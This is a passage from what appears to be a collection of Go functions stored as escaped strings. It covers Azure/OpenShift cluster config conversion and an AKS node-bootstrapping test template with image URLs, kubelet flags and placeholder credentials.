map[string]interface{}{}\n\tif err := json.NewDecoder(bytes.NewBuffer(rawConfig)).Decode(&prefixedConfig); err != nil {\n\t\tklog.V(4).Infof(\"decode of existing config failed with error: %v\", err)\n\t\treturn nil, err\n\t}\n\n\tactualConfig, _, err := unstructured.NestedFieldCopy(prefixedConfig, prefix...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn json.Marshal(actualConfig)\n}", "func ToInternal(in *Config, old *api.Config, setVersionFields bool) (*api.Config, error) {\n\tc := &api.Config{}\n\tif old != nil {\n\t\tc = old.DeepCopy()\n\t}\n\n\t// setting c.PluginVersion = in.PluginVersion is done up-front by the plugin\n\t// code. It could be done here as well (gated by setVersionFields) but\n\t// would/should be a no-op. To simplify the logic, we don't do it.\n\n\tc.ComponentLogLevel.APIServer = &in.ComponentLogLevel.APIServer\n\tc.ComponentLogLevel.ControllerManager = &in.ComponentLogLevel.ControllerManager\n\tc.ComponentLogLevel.Node = &in.ComponentLogLevel.Node\n\n\tc.SecurityPatchPackages = in.SecurityPatchPackages\n\tc.SSHSourceAddressPrefixes = in.SSHSourceAddressPrefixes\n\n\tif setVersionFields {\n\t\tinVersion, found := in.Versions[c.PluginVersion]\n\t\tif !found {\n\t\t\treturn nil, fmt.Errorf(\"version %q not found\", c.PluginVersion)\n\t\t}\n\n\t\t// Generic offering configurables\n\t\tc.ImageOffer = inVersion.ImageOffer\n\t\tc.ImagePublisher = inVersion.ImagePublisher\n\t\tc.ImageSKU = inVersion.ImageSKU\n\t\tc.ImageVersion = inVersion.ImageVersion\n\n\t\t// Container images configuration\n\t\tc.Images.AlertManager = inVersion.Images.AlertManager\n\t\tc.Images.AnsibleServiceBroker = inVersion.Images.AnsibleServiceBroker\n\t\tc.Images.ClusterMonitoringOperator = inVersion.Images.ClusterMonitoringOperator\n\t\tc.Images.ConfigReloader = inVersion.Images.ConfigReloader\n\t\tc.Images.Console = inVersion.Images.Console\n\t\tc.Images.ControlPlane = inVersion.Images.ControlPlane\n\t\tc.Images.Grafana = inVersion.Images.Grafana\n\t\tc.Images.KubeRbacProxy = inVersion.Images.KubeRbacProxy\n\t\tc.Images.KubeStateMetrics = inVersion.Images.KubeStateMetrics\n\t\tc.Images.Node = inVersion.Images.Node\n\t\tc.Images.NodeExporter = inVersion.Images.NodeExporter\n\t\tc.Images.OAuthProxy = inVersion.Images.OAuthProxy\n\t\tc.Images.Prometheus = inVersion.Images.Prometheus\n\t\tc.Images.PrometheusConfigReloader = inVersion.Images.PrometheusConfigReloader\n\t\tc.Images.PrometheusOperator = inVersion.Images.PrometheusOperator\n\t\tc.Images.Registry = inVersion.Images.Registry\n\t\tc.Images.RegistryConsole = inVersion.Images.RegistryConsole\n\t\tc.Images.Router = inVersion.Images.Router\n\t\tc.Images.ServiceCatalog = inVersion.Images.ServiceCatalog\n\t\tc.Images.TemplateServiceBroker = inVersion.Images.TemplateServiceBroker\n\t\tc.Images.WebConsole = inVersion.Images.WebConsole\n\n\t\tc.Images.Format = inVersion.Images.Format\n\n\t\tc.Images.Httpd = inVersion.Images.Httpd\n\t\tc.Images.MasterEtcd = inVersion.Images.MasterEtcd\n\n\t\tc.Images.GenevaLogging = inVersion.Images.GenevaLogging\n\t\tc.Images.GenevaStatsd = inVersion.Images.GenevaStatsd\n\t\tc.Images.GenevaTDAgent = inVersion.Images.GenevaTDAgent\n\n\t\tc.Images.AzureControllers = inVersion.Images.AzureControllers\n\t\tc.Images.Canary = inVersion.Images.Canary\n\t\tc.Images.AroAdmissionController = inVersion.Images.AroAdmissionController\n\t\tc.Images.EtcdBackup = inVersion.Images.EtcdBackup\n\t\tc.Images.MetricsBridge = inVersion.Images.MetricsBridge\n\t\tc.Images.Startup = inVersion.Images.Startup\n\t\tc.Images.Sync = inVersion.Images.Sync\n\t\tc.Images.TLSProxy = inVersion.Images.TLSProxy\n\n\t\tc.Images.LogAnalyticsAgent = inVersion.Images.LogAnalyticsAgent\n\t\tc.Images.MetricsServer = inVersion.Images.MetricsServer\n\t}\n\n\t// use setVersionFields to override the secrets below otherwise\n\t// they become un-updatable..\n\tif c.Certificates.GenevaLogging.Key == nil || setVersionFields {\n\t\tc.Certificates.GenevaLogging.Key = in.Certificates.GenevaLogging.Key\n\t}\n\tif c.Certificates.GenevaLogging.Cert == nil || setVersionFields {\n\t\tc.Certificates.GenevaLogging.Cert = in.Certificates.GenevaLogging.Cert\n\t}\n\tif c.Certificates.GenevaMetrics.Key == nil || setVersionFields {\n\t\tc.Certificates.GenevaMetrics.Key = in.Certificates.GenevaMetrics.Key\n\t}\n\tif c.Certificates.GenevaMetrics.Cert == nil || setVersionFields {\n\t\tc.Certificates.GenevaMetrics.Cert = in.Certificates.GenevaMetrics.Cert\n\t}\n\tif c.Certificates.PackageRepository.Key == nil || setVersionFields {\n\t\tc.Certificates.PackageRepository.Key = in.Certificates.PackageRepository.Key\n\t}\n\tif c.Certificates.PackageRepository.Cert == nil || setVersionFields {\n\t\tc.Certificates.PackageRepository.Cert = in.Certificates.PackageRepository.Cert\n\t}\n\n\t// Geneva integration configurables\n\tif c.GenevaLoggingSector == \"\" {\n\t\tc.GenevaLoggingSector = in.GenevaLoggingSector\n\t}\n\tif c.GenevaLoggingAccount == \"\" {\n\t\tc.GenevaLoggingAccount = in.GenevaLoggingAccount\n\t}\n\tif c.GenevaLoggingNamespace == \"\" {\n\t\tc.GenevaLoggingNamespace = in.GenevaLoggingNamespace\n\t}\n\tif c.GenevaLoggingControlPlaneAccount == \"\" {\n\t\tc.GenevaLoggingControlPlaneAccount = in.GenevaLoggingControlPlaneAccount\n\t}\n\tif c.GenevaLoggingControlPlaneEnvironment == \"\" {\n\t\tc.GenevaLoggingControlPlaneEnvironment = in.GenevaLoggingControlPlaneEnvironment\n\t}\n\tif c.GenevaLoggingControlPlaneRegion == \"\" {\n\t\tc.GenevaLoggingControlPlaneRegion = in.GenevaLoggingControlPlaneRegion\n\t}\n\tif c.GenevaMetricsAccount == \"\" {\n\t\tc.GenevaMetricsAccount = in.GenevaMetricsAccount\n\t}\n\tif c.GenevaMetricsEndpoint == \"\" {\n\t\tc.GenevaMetricsEndpoint = in.GenevaMetricsEndpoint\n\t}\n\n\tif c.Images.ImagePullSecret == nil || setVersionFields {\n\t\tc.Images.ImagePullSecret = in.ImagePullSecret\n\t}\n\tif c.Images.GenevaImagePullSecret == nil || setVersionFields {\n\t\tc.Images.GenevaImagePullSecret = in.GenevaImagePullSecret\n\t}\n\n\treturn c, nil\n}", "func defaultConfig() *config.Config {\n\treturn &config.Config{\n\t\tTargetAnnotation: \"bio.terra.testing/snapshot-policy\",\n\t\tGoogleProject: \"fake-project\",\n\t\tRegion: \"us-central1\",\n\t}\n}", "func baseTemplate() *datamodel.NodeBootstrappingConfiguration {\n\tvar (\n\t\ttrueConst = true\n\t\tfalseConst = false\n\t)\n\treturn &datamodel.NodeBootstrappingConfiguration{\n\t\tContainerService: &datamodel.ContainerService{\n\t\t\tID: \"\",\n\t\t\tLocation: \"eastus\",\n\t\t\tName: \"\",\n\t\t\tPlan: nil,\n\t\t\tTags: map[string]string(nil),\n\t\t\tType: \"Microsoft.ContainerService/ManagedClusters\",\n\t\t\tProperties: &datamodel.Properties{\n\t\t\t\tClusterID: \"\",\n\t\t\t\tProvisioningState: \"\",\n\t\t\t\tOrchestratorProfile: &datamodel.OrchestratorProfile{\n\t\t\t\t\tOrchestratorType: \"Kubernetes\",\n\t\t\t\t\tOrchestratorVersion: \"1.26.0\",\n\t\t\t\t\tKubernetesConfig: &datamodel.KubernetesConfig{\n\t\t\t\t\t\tKubernetesImageBase: \"\",\n\t\t\t\t\t\tMCRKubernetesImageBase: \"\",\n\t\t\t\t\t\tClusterSubnet: \"\",\n\t\t\t\t\t\tNetworkPolicy: \"\",\n\t\t\t\t\t\tNetworkPlugin: \"kubenet\",\n\t\t\t\t\t\tNetworkMode: \"\",\n\t\t\t\t\t\tContainerRuntime: \"\",\n\t\t\t\t\t\tMaxPods: 0,\n\t\t\t\t\t\tDockerBridgeSubnet: \"\",\n\t\t\t\t\t\tDNSServiceIP: \"\",\n\t\t\t\t\t\tServiceCIDR: \"\",\n\t\t\t\t\t\tUseManagedIdentity: false,\n\t\t\t\t\t\tUserAssignedID: \"\",\n\t\t\t\t\t\tUserAssignedClientID: \"\",\n\t\t\t\t\t\tCustomHyperkubeImage: \"\",\n\t\t\t\t\t\tCustomKubeProxyImage: \"mcr.microsoft.com/oss/kubernetes/kube-proxy:v1.26.0.1\",\n\t\t\t\t\t\tCustomKubeBinaryURL: \"https://acs-mirror.azureedge.net/kubernetes/v1.26.0/binaries/kubernetes-node-linux-amd64.tar.gz\",\n\t\t\t\t\t\tMobyVersion: \"\",\n\t\t\t\t\t\tContainerdVersion: \"\",\n\t\t\t\t\t\tWindowsNodeBinariesURL: \"\",\n\t\t\t\t\t\tWindowsContainerdURL: \"\",\n\t\t\t\t\t\tWindowsSdnPluginURL: \"\",\n\t\t\t\t\t\tUseInstanceMetadata: &trueConst,\n\t\t\t\t\t\tEnableRbac: nil,\n\t\t\t\t\t\tEnableSecureKubelet: nil,\n\t\t\t\t\t\tPrivateCluster: nil,\n\t\t\t\t\t\tGCHighThreshold: 0,\n\t\t\t\t\t\tGCLowThreshold: 0,\n\t\t\t\t\t\tEnableEncryptionWithExternalKms: nil,\n\t\t\t\t\t\tAddons: nil,\n\t\t\t\t\t\tContainerRuntimeConfig: map[string]string(nil),\n\t\t\t\t\t\tControllerManagerConfig: map[string]string(nil),\n\t\t\t\t\t\tSchedulerConfig: map[string]string(nil),\n\t\t\t\t\t\tCloudProviderBackoffMode: \"v2\",\n\t\t\t\t\t\tCloudProviderBackoff: &trueConst,\n\t\t\t\t\t\tCloudProviderBackoffRetries: 6,\n\t\t\t\t\t\tCloudProviderBackoffJitter: 0.0,\n\t\t\t\t\t\tCloudProviderBackoffDuration: 5,\n\t\t\t\t\t\tCloudProviderBackoffExponent: 0.0,\n\t\t\t\t\t\tCloudProviderRateLimit: &trueConst,\n\t\t\t\t\t\tCloudProviderRateLimitQPS: 10.0,\n\t\t\t\t\t\tCloudProviderRateLimitQPSWrite: 10.0,\n\t\t\t\t\t\tCloudProviderRateLimitBucket: 100,\n\t\t\t\t\t\tCloudProviderRateLimitBucketWrite: 100,\n\t\t\t\t\t\tCloudProviderDisableOutboundSNAT: &falseConst,\n\t\t\t\t\t\tNodeStatusUpdateFrequency: \"\",\n\t\t\t\t\t\tLoadBalancerSku: \"Standard\",\n\t\t\t\t\t\tExcludeMasterFromStandardLB: nil,\n\t\t\t\t\t\tAzureCNIURLLinux: \"https://acs-mirror.azureedge.net/azure-cni/v1.1.8/binaries/azure-vnet-cni-linux-amd64-v1.1.8.tgz\",\n\t\t\t\t\t\tAzureCNIURLARM64Linux: \"\",\n\t\t\t\t\t\tAzureCNIURLWindows: \"\",\n\t\t\t\t\t\tMaximumLoadBalancerRuleCount: 250,\n\t\t\t\t\t\tPrivateAzureRegistryServer: \"\",\n\t\t\t\t\t\tNetworkPluginMode: \"\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tAgentPoolProfiles: []*datamodel.AgentPoolProfile{\n\t\t\t\t\t{\n\t\t\t\t\t\tName: \"nodepool2\",\n\t\t\t\t\t\tVMSize: \"Standard_DS1_v2\",\n\t\t\t\t\t\tKubeletDiskType: \"\",\n\t\t\t\t\t\tWorkloadRuntime: \"\",\n\t\t\t\t\t\tDNSPrefix: \"\",\n\t\t\t\t\t\tOSType: \"Linux\",\n\t\t\t\t\t\tPorts: nil,\n\t\t\t\t\t\tAvailabilityProfile: \"VirtualMachineScaleSets\",\n\t\t\t\t\t\tStorageProfile: \"ManagedDisks\",\n\t\t\t\t\t\tVnetSubnetID: \"\",\n\t\t\t\t\t\tDistro: \"aks-ubuntu-containerd-18.04-gen2\",\n\t\t\t\t\t\tCustomNodeLabels: map[string]string{\n\t\t\t\t\t\t\t\"kubernetes.azure.com/mode\": \"system\",\n\t\t\t\t\t\t\t\"kubernetes.azure.com/node-image-version\": \"AKSUbuntu-1804gen2containerd-2022.01.19\",\n\t\t\t\t\t\t},\n\t\t\t\t\t\tPreprovisionExtension: nil,\n\t\t\t\t\t\tKubernetesConfig: &datamodel.KubernetesConfig{\n\t\t\t\t\t\t\tKubernetesImageBase: \"\",\n\t\t\t\t\t\t\tMCRKubernetesImageBase: \"\",\n\t\t\t\t\t\t\tClusterSubnet: \"\",\n\t\t\t\t\t\t\tNetworkPolicy: \"\",\n\t\t\t\t\t\t\tNetworkPlugin: \"\",\n\t\t\t\t\t\t\tNetworkMode: \"\",\n\t\t\t\t\t\t\tContainerRuntime: \"containerd\",\n\t\t\t\t\t\t\tMaxPods: 0,\n\t\t\t\t\t\t\tDockerBridgeSubnet: \"\",\n\t\t\t\t\t\t\tDNSServiceIP: \"\",\n\t\t\t\t\t\t\tServiceCIDR: \"\",\n\t\t\t\t\t\t\tUseManagedIdentity: false,\n\t\t\t\t\t\t\tUserAssignedID: \"\",\n\t\t\t\t\t\t\tUserAssignedClientID: \"\",\n\t\t\t\t\t\t\tCustomHyperkubeImage: \"\",\n\t\t\t\t\t\t\tCustomKubeProxyImage: \"\",\n\t\t\t\t\t\t\tCustomKubeBinaryURL: \"\",\n\t\t\t\t\t\t\tMobyVersion: \"\",\n\t\t\t\t\t\t\tContainerdVersion: \"\",\n\t\t\t\t\t\t\tWindowsNodeBinariesURL: \"\",\n\t\t\t\t\t\t\tWindowsContainerdURL: \"\",\n\t\t\t\t\t\t\tWindowsSdnPluginURL: \"\",\n\t\t\t\t\t\t\tUseInstanceMetadata: nil,\n\t\t\t\t\t\t\tEnableRbac: nil,\n\t\t\t\t\t\t\tEnableSecureKubelet: nil,\n\t\t\t\t\t\t\tPrivateCluster: nil,\n\t\t\t\t\t\t\tGCHighThreshold: 0,\n\t\t\t\t\t\t\tGCLowThreshold: 0,\n\t\t\t\t\t\t\tEnableEncryptionWithExternalKms: nil,\n\t\t\t\t\t\t\tAddons: nil,\n\t\t\t\t\t\t\tContainerRuntimeConfig: map[string]string(nil),\n\t\t\t\t\t\t\tControllerManagerConfig: map[string]string(nil),\n\t\t\t\t\t\t\tSchedulerConfig: map[string]string(nil),\n\t\t\t\t\t\t\tCloudProviderBackoffMode: \"\",\n\t\t\t\t\t\t\tCloudProviderBackoff: nil,\n\t\t\t\t\t\t\tCloudProviderBackoffRetries: 0,\n\t\t\t\t\t\t\tCloudProviderBackoffJitter: 0.0,\n\t\t\t\t\t\t\tCloudProviderBackoffDuration: 0,\n\t\t\t\t\t\t\tCloudProviderBackoffExponent: 0.0,\n\t\t\t\t\t\t\tCloudProviderRateLimit: nil,\n\t\t\t\t\t\t\tCloudProviderRateLimitQPS: 0.0,\n\t\t\t\t\t\t\tCloudProviderRateLimitQPSWrite: 0.0,\n\t\t\t\t\t\t\tCloudProviderRateLimitBucket: 0,\n\t\t\t\t\t\t\tCloudProviderRateLimitBucketWrite: 0,\n\t\t\t\t\t\t\tCloudProviderDisableOutboundSNAT: nil,\n\t\t\t\t\t\t\tNodeStatusUpdateFrequency: \"\",\n\t\t\t\t\t\t\tLoadBalancerSku: \"\",\n\t\t\t\t\t\t\tExcludeMasterFromStandardLB: nil,\n\t\t\t\t\t\t\tAzureCNIURLLinux: \"\",\n\t\t\t\t\t\t\tAzureCNIURLARM64Linux: \"\",\n\t\t\t\t\t\t\tAzureCNIURLWindows: \"\",\n\t\t\t\t\t\t\tMaximumLoadBalancerRuleCount: 0,\n\t\t\t\t\t\t\tPrivateAzureRegistryServer: \"\",\n\t\t\t\t\t\t\tNetworkPluginMode: \"\",\n\t\t\t\t\t\t},\n\t\t\t\t\t\tVnetCidrs: nil,\n\t\t\t\t\t\tWindowsNameVersion: \"\",\n\t\t\t\t\t\tCustomKubeletConfig: nil,\n\t\t\t\t\t\tCustomLinuxOSConfig: nil,\n\t\t\t\t\t\tMessageOfTheDay: \"\",\n\t\t\t\t\t\tNotRebootWindowsNode: nil,\n\t\t\t\t\t\tAgentPoolWindowsProfile: nil,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tLinuxProfile: &datamodel.LinuxProfile{\n\t\t\t\t\tAdminUsername: \"azureuser\",\n\t\t\t\t\tSSH: struct {\n\t\t\t\t\t\tPublicKeys []datamodel.PublicKey \"json:\\\"publicKeys\\\"\"\n\t\t\t\t\t}{\n\t\t\t\t\t\tPublicKeys: []datamodel.PublicKey{\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tKeyData: \"dummysshkey\",\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tSecrets: nil,\n\t\t\t\t\tDistro: \"\",\n\t\t\t\t\tCustomSearchDomain: nil,\n\t\t\t\t},\n\t\t\t\tWindowsProfile: nil,\n\t\t\t\tExtensionProfiles: nil,\n\t\t\t\tDiagnosticsProfile: nil,\n\t\t\t\tServicePrincipalProfile: &datamodel.ServicePrincipalProfile{\n\t\t\t\t\tClientID: \"msi\",\n\t\t\t\t\tSecret: \"msi\",\n\t\t\t\t\tObjectID: \"\",\n\t\t\t\t\tKeyvaultSecretRef: nil,\n\t\t\t\t},\n\t\t\t\tCertificateProfile: &datamodel.CertificateProfile{\n\t\t\t\t\tCaCertificate: \"\",\n\t\t\t\t\tAPIServerCertificate: \"\",\n\t\t\t\t\tClientCertificate: \"\",\n\t\t\t\t\tClientPrivateKey: \"\",\n\t\t\t\t\tKubeConfigCertificate: \"\",\n\t\t\t\t\tKubeConfigPrivateKey: \"\",\n\t\t\t\t},\n\t\t\t\tAADProfile: nil,\n\t\t\t\tCustomProfile: nil,\n\t\t\t\tHostedMasterProfile: &datamodel.HostedMasterProfile{\n\t\t\t\t\tFQDN: \"\",\n\t\t\t\t\tIPAddress: \"\",\n\t\t\t\t\tDNSPrefix: \"\",\n\t\t\t\t\tFQDNSubdomain: \"\",\n\t\t\t\t\tSubnet: \"\",\n\t\t\t\t\tAPIServerWhiteListRange: nil,\n\t\t\t\t\tIPMasqAgent: true,\n\t\t\t\t},\n\t\t\t\tAddonProfiles: map[string]datamodel.AddonProfile(nil),\n\t\t\t\tFeatureFlags: nil,\n\t\t\t\tCustomCloudEnv: nil,\n\t\t\t\tCustomConfiguration: nil,\n\t\t\t},\n\t\t},\n\t\tCloudSpecConfig: &datamodel.AzureEnvironmentSpecConfig{\n\t\t\tCloudName: \"AzurePublicCloud\",\n\t\t\tDockerSpecConfig: datamodel.DockerSpecConfig{\n\t\t\t\tDockerEngineRepo: \"https://aptdocker.azureedge.net/repo\",\n\t\t\t\tDockerComposeDownloadURL: \"https://github.com/docker/compose/releases/download\",\n\t\t\t},\n\t\t\tKubernetesSpecConfig: datamodel.KubernetesSpecConfig{\n\t\t\t\tAzureTelemetryPID: \"\",\n\t\t\t\tKubernetesImageBase: \"k8s.gcr.io/\",\n\t\t\t\tTillerImageBase: \"gcr.io/kubernetes-helm/\",\n\t\t\t\tACIConnectorImageBase: \"microsoft/\",\n\t\t\t\tMCRKubernetesImageBase: \"mcr.microsoft.com/\",\n\t\t\t\tNVIDIAImageBase: \"nvidia/\",\n\t\t\t\tAzureCNIImageBase: \"mcr.microsoft.com/containernetworking/\",\n\t\t\t\tCalicoImageBase: \"calico/\",\n\t\t\t\tEtcdDownloadURLBase: \"\",\n\t\t\t\tKubeBinariesSASURLBase: \"https://acs-mirror.azureedge.net/kubernetes/\",\n\t\t\t\tWindowsTelemetryGUID: \"fb801154-36b9-41bc-89c2-f4d4f05472b0\",\n\t\t\t\tCNIPluginsDownloadURL: \"https://acs-mirror.azureedge.net/cni/cni-plugins-amd64-v0.7.6.tgz\",\n\t\t\t\tVnetCNILinuxPluginsDownloadURL: \"https://acs-mirror.azureedge.net/azure-cni/v1.1.3/binaries/azure-vnet-cni-linux-amd64-v1.1.3.tgz\",\n\t\t\t\tVnetCNIWindowsPluginsDownloadURL: \"https://acs-mirror.azureedge.net/azure-cni/v1.1.3/binaries/azure-vnet-cni-singletenancy-windows-amd64-v1.1.3.zip\",\n\t\t\t\tContainerdDownloadURLBase: \"https://storage.googleapis.com/cri-containerd-release/\",\n\t\t\t\tCSIProxyDownloadURL: \"https://acs-mirror.azureedge.net/csi-proxy/v0.1.0/binaries/csi-proxy.tar.gz\",\n\t\t\t\tWindowsProvisioningScriptsPackageURL: \"https://acs-mirror.azureedge.net/aks-engine/windows/provisioning/signedscripts-v0.2.2.zip\",\n\t\t\t\tWindowsPauseImageURL: \"mcr.microsoft.com/oss/kubernetes/pause:1.4.0\",\n\t\t\t\tAlwaysPullWindowsPauseImage: false,\n\t\t\t\tCseScriptsPackageURL: \"https://acs-mirror.azureedge.net/aks/windows/cse/csescripts-v0.0.1.zip\",\n\t\t\t\tCNIARM64PluginsDownloadURL: \"https://acs-mirror.azureedge.net/cni-plugins/v0.8.7/binaries/cni-plugins-linux-arm64-v0.8.7.tgz\",\n\t\t\t\tVnetCNIARM64LinuxPluginsDownloadURL: \"https://acs-mirror.azureedge.net/azure-cni/v1.4.13/binaries/azure-vnet-cni-linux-arm64-v1.4.14.tgz\",\n\t\t\t},\n\t\t\tEndpointConfig: datamodel.AzureEndpointConfig{\n\t\t\t\tResourceManagerVMDNSSuffix: \"cloudapp.azure.com\",\n\t\t\t},\n\t\t\tOSImageConfig: map[datamodel.Distro]datamodel.AzureOSImageConfig(nil),\n\t\t},\n\t\tK8sComponents: &datamodel.K8sComponents{\n\t\t\tPodInfraContainerImageURL: \"mcr.microsoft.com/oss/kubernetes/pause:3.6\",\n\t\t\tHyperkubeImageURL: \"mcr.microsoft.com/oss/kubernetes/\",\n\t\t\tWindowsPackageURL: \"windowspackage\",\n\t\t},\n\t\tAgentPoolProfile: &datamodel.AgentPoolProfile{\n\t\t\tName: \"nodepool2\",\n\t\t\tVMSize: \"Standard_DS1_v2\",\n\t\t\tKubeletDiskType: \"\",\n\t\t\tWorkloadRuntime: \"\",\n\t\t\tDNSPrefix: \"\",\n\t\t\tOSType: \"Linux\",\n\t\t\tPorts: nil,\n\t\t\tAvailabilityProfile: \"VirtualMachineScaleSets\",\n\t\t\tStorageProfile: \"ManagedDisks\",\n\t\t\tVnetSubnetID: \"\",\n\t\t\tDistro: \"aks-ubuntu-containerd-18.04-gen2\",\n\t\t\tCustomNodeLabels: map[string]string{\n\t\t\t\t\"kubernetes.azure.com/mode\": \"system\",\n\t\t\t\t\"kubernetes.azure.com/node-image-version\": \"AKSUbuntu-1804gen2containerd-2022.01.19\",\n\t\t\t},\n\t\t\tPreprovisionExtension: nil,\n\t\t\tKubernetesConfig: &datamodel.KubernetesConfig{\n\t\t\t\tKubernetesImageBase: \"\",\n\t\t\t\tMCRKubernetesImageBase: \"\",\n\t\t\t\tClusterSubnet: \"\",\n\t\t\t\tNetworkPolicy: \"\",\n\t\t\t\tNetworkPlugin: \"\",\n\t\t\t\tNetworkMode: \"\",\n\t\t\t\tContainerRuntime: \"containerd\",\n\t\t\t\tMaxPods: 0,\n\t\t\t\tDockerBridgeSubnet: \"\",\n\t\t\t\tDNSServiceIP: \"\",\n\t\t\t\tServiceCIDR: \"\",\n\t\t\t\tUseManagedIdentity: false,\n\t\t\t\tUserAssignedID: \"\",\n\t\t\t\tUserAssignedClientID: \"\",\n\t\t\t\tCustomHyperkubeImage: \"\",\n\t\t\t\tCustomKubeProxyImage: \"\",\n\t\t\t\tCustomKubeBinaryURL: \"\",\n\t\t\t\tMobyVersion: \"\",\n\t\t\t\tContainerdVersion: \"\",\n\t\t\t\tWindowsNodeBinariesURL: \"\",\n\t\t\t\tWindowsContainerdURL: \"\",\n\t\t\t\tWindowsSdnPluginURL: \"\",\n\t\t\t\tUseInstanceMetadata: nil,\n\t\t\t\tEnableRbac: nil,\n\t\t\t\tEnableSecureKubelet: nil,\n\t\t\t\tPrivateCluster: nil,\n\t\t\t\tGCHighThreshold: 0,\n\t\t\t\tGCLowThreshold: 0,\n\t\t\t\tEnableEncryptionWithExternalKms: nil,\n\t\t\t\tAddons: nil,\n\t\t\t\tContainerRuntimeConfig: map[string]string(nil),\n\t\t\t\tControllerManagerConfig: map[string]string(nil),\n\t\t\t\tSchedulerConfig: map[string]string(nil),\n\t\t\t\tCloudProviderBackoffMode: \"\",\n\t\t\t\tCloudProviderBackoff: nil,\n\t\t\t\tCloudProviderBackoffRetries: 0,\n\t\t\t\tCloudProviderBackoffJitter: 0.0,\n\t\t\t\tCloudProviderBackoffDuration: 0,\n\t\t\t\tCloudProviderBackoffExponent: 0.0,\n\t\t\t\tCloudProviderRateLimit: nil,\n\t\t\t\tCloudProviderRateLimitQPS: 0.0,\n\t\t\t\tCloudProviderRateLimitQPSWrite: 0.0,\n\t\t\t\tCloudProviderRateLimitBucket: 0,\n\t\t\t\tCloudProviderRateLimitBucketWrite: 0,\n\t\t\t\tCloudProviderDisableOutboundSNAT: nil,\n\t\t\t\tNodeStatusUpdateFrequency: \"\",\n\t\t\t\tLoadBalancerSku: \"\",\n\t\t\t\tExcludeMasterFromStandardLB: nil,\n\t\t\t\tAzureCNIURLLinux: \"\",\n\t\t\t\tAzureCNIURLARM64Linux: \"\",\n\t\t\t\tAzureCNIURLWindows: \"\",\n\t\t\t\tMaximumLoadBalancerRuleCount: 0,\n\t\t\t\tPrivateAzureRegistryServer: \"\",\n\t\t\t\tNetworkPluginMode: \"\",\n\t\t\t},\n\t\t\tVnetCidrs: nil,\n\t\t\tWindowsNameVersion: \"\",\n\t\t\tCustomKubeletConfig: nil,\n\t\t\tCustomLinuxOSConfig: nil,\n\t\t\tMessageOfTheDay: \"\",\n\t\t\tNotRebootWindowsNode: nil,\n\t\t\tAgentPoolWindowsProfile: nil,\n\t\t},\n\t\tTenantID: \"\",\n\t\tSubscriptionID: \"\",\n\t\tResourceGroupName: \"\",\n\t\tUserAssignedIdentityClientID: \"\",\n\t\tOSSKU: \"\",\n\t\tConfigGPUDriverIfNeeded: true,\n\t\tDisable1804SystemdResolved: false,\n\t\tEnableGPUDevicePluginIfNeeded: false,\n\t\tEnableKubeletConfigFile: false,\n\t\tEnableNvidia: false,\n\t\tEnableACRTeleportPlugin: false,\n\t\tTeleportdPluginURL: \"\",\n\t\tContainerdVersion: \"\",\n\t\tRuncVersion: \"\",\n\t\tContainerdPackageURL: \"\",\n\t\tRuncPackageURL: \"\",\n\t\tKubeletClientTLSBootstrapToken: nil,\n\t\tFIPSEnabled: false,\n\t\tHTTPProxyConfig: &datamodel.HTTPProxyConfig{\n\t\t\tHTTPProxy: nil,\n\t\t\tHTTPSProxy: nil,\n\t\t\tNoProxy: &[]string{\n\t\t\t\t\"localhost\",\n\t\t\t\t\"127.0.0.1\",\n\t\t\t\t\"168.63.129.16\",\n\t\t\t\t\"169.254.169.254\",\n\t\t\t\t\"10.0.0.0/16\",\n\t\t\t\t\"agentbaker-agentbaker-e2e-t-8ecadf-c82d8251.hcp.eastus.azmk8s.io\",\n\t\t\t},\n\t\t\tTrustedCA: nil,\n\t\t},\n\t\tKubeletConfig: map[string]string{\n\t\t\t\"--address\": \"0.0.0.0\",\n\t\t\t\"--anonymous-auth\": \"false\",\n\t\t\t\"--authentication-token-webhook\": \"true\",\n\t\t\t\"--authorization-mode\": \"Webhook\",\n\t\t\t\"--azure-container-registry-config\": \"/etc/kubernetes/azure.json\",\n\t\t\t\"--cgroups-per-qos\": \"true\",\n\t\t\t\"--client-ca-file\": \"/etc/kubernetes/certs/ca.crt\",\n\t\t\t\"--cloud-config\": \"/etc/kubernetes/azure.json\",\n\t\t\t\"--cloud-provider\": \"azure\",\n\t\t\t\"--cluster-dns\": \"10.0.0.10\",\n\t\t\t\"--cluster-domain\": \"cluster.local\",\n\t\t\t\"--dynamic-config-dir\": \"/var/lib/kubelet\",\n\t\t\t\"--enforce-node-allocatable\": \"pods\",\n\t\t\t\"--event-qps\": \"0\",\n\t\t\t\"--eviction-hard\": \"memory.available<750Mi,nodefs.available<10%,nodefs.inodesFree<5%\",\n\t\t\t\"--feature-gates\": \"RotateKubeletServerCertificate=true\",\n\t\t\t\"--image-gc-high-threshold\": \"85\",\n\t\t\t\"--image-gc-low-threshold\": \"80\",\n\t\t\t\"--keep-terminated-pod-volumes\": \"false\",\n\t\t\t\"--kube-reserved\": \"cpu=100m,memory=1638Mi\",\n\t\t\t\"--kubeconfig\": \"/var/lib/kubelet/kubeconfig\",\n\t\t\t\"--max-pods\": \"110\",\n\t\t\t\"--network-plugin\": \"kubenet\",\n\t\t\t\"--node-status-update-frequency\": \"10s\",\n\t\t\t\"--pod-infra-container-image\": \"mcr.microsoft.com/oss/kubernetes/pause:3.6\",\n\t\t\t\"--pod-manifest-path\": \"/etc/kubernetes/manifests\",\n\t\t\t\"--pod-max-pids\": \"-1\",\n\t\t\t\"--protect-kernel-defaults\": \"true\",\n\t\t\t\"--read-only-port\": \"0\",\n\t\t\t\"--resolv-conf\": \"/run/systemd/resolve/resolv.conf\",\n\t\t\t\"--rotate-certificates\": \"false\",\n\t\t\t\"--streaming-connection-idle-timeout\": \"4h\",\n\t\t\t\"--tls-cert-file\": \"/etc/kubernetes/certs/kubeletserver.crt\",\n\t\t\t\"--tls-cipher-suites\": 